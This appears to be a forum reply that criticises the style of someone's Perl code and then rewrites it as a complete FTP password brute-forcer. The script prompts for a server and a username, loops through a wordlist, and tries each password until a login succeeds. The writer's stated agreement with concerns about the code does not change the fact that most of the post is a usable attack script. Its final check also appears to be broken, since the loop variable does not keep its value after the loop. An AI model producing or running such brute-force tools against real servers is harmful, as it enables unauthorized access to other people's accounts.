In addition to any other concern that has been raised (all of which I agree with), this isn't even an example of well-written Perl.

1. You don't use strict or warnings
2. You unnecessarily double-quote variables
3. You use goto instead of last

Assuming that this code should be written, it would be better written as so:

use strict;
use warnings;

use Net::FTP;
print "Enter the FTP server I should try to brute force::\n";
chomp(my $server = <STDIN>);

print "What username do you want to brute force?\n";
chomp(my $user = <STDIN>);

my $ftp = Net::FTP->new( $server )
    or die "\nCould not connect: $!";

open WORDLIST, "wordlist.txt"
    or die "\nCould not open wordlist.txt. Exiting...\n";
chomp( my @wordlist = <WORDLIST> );
close WORDLIST;

my $password;
foreach $password (@wordlist)
{
    next unless $ftp->login($user, $password);

    print "$password is the password for user : $user !\n";
    last;
}
die "Password was not found! Error" unless $password;
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